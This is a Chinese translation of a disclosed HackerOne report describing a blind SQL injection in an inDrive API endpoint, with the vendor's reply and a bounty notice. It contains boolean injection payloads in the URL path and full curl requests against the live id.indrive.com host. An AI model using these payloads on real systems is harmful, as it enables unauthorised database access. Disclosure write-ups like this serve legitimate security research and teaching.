标题:Blind SQL injection on id.indrive.com
作者:kristoferent
原文地址:https://hackerone.com/reports/2051931
在id.indrive.com上发现了一个SQL盲注,允许攻击者通过使用条件响应从数据库检索信息。
概述:
服务器未对用户输入进行清洗,允许攻击者将任意SQL命令注入查询中。
复现步骤:
-
访问
https://promo.indrive.com/10ridestogetprize_ru/random
-
点击“Сгенерировать”。将会向发出请求:
https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/29/5/phone
-
重复这个请求,但是将路径更改为:
将会返回数据库中的一个随机条目:
/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1--
-
将查询的路径更改为:
/api/ten-drives/custom-winners/ten_drive_kz_second_week s/number_trips/1/999%20or%201=2--
服务器的响应将为空。
两个请求的curl格式
curl -i -s -k -X $'GET'
-H $'Host: id.indrive.com' -H $'User-Agent: Mozill a/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firef ox/102.0' -H $'Accept: application/json, text/plain, */ *' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Enc oding: gzip, deflate' -H $'Origin: https://promo.indriv e.com' -H $'Referer: https://promo.indrive.com/' -H $'Se c-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec -Fetch-Site: same-site' -H $'Te: trailers' -H $'Connecti on: close'
$'https://id.indrive.com/api/ten-drives/custom-winn ers/ten_drive_kz_second_weeks/number_trips/1/999%20or%20 1=1--'curl -i -s -k -X $'GET'
-H $'Host: id.indrive.com' -H $'User-Agent: Mozill a/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firef ox/102.0' -H $'Accept: application/json, text/plain, */ *' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Enc oding: gzip, deflate' -H $'Origin: https://promo.indriv e.com' -H $'Referer: https://promo.indrive.com/' -H $'Se c-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec -Fetch-Site: same-site' -H $'Te: trailers' -H $'Connecti on: close'
$'https://id.indrive.com/api/ten-drives/custom-winn ers/ten_drive_kz_second_weeks/number_trips/1/999%20or%20 1=2--'
影响:
此漏洞允许攻击者将任何SQL语句注入到查询中。例如,我能够检索到SQL版本:PostgreSQL 14.8(Ubuntu 14.8-0ubuntu0.22.04.1)
官方反馈:
感谢您向inDrive报告此问题!我们感谢您花费时间帮助我们使我们的网络服务更加安全。您的报告已经经过初步审核,并已分配给安全工程师。安全工程师只有在复现漏洞时有任何问题或需要您提供额外信息时才会与您联系。他将负责修补流程。一旦漏洞完全修复,此报告将转为“已解决”状态,可能需要一些时间。悬赏决定将在几周内做出。
inDrive已经奖励kristoferent 134。
每周一9点发布精选内容。
每周三9点发布翻译内容。
更多安全资讯,请关注微信公众号:安全虫。
每周坚持学习与分享,觉得文章对你有帮助可在底部给点个“在看”。
原文始发于微信公众号(安全虫):【翻译】id.indrive.com上的SQL盲注(029)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论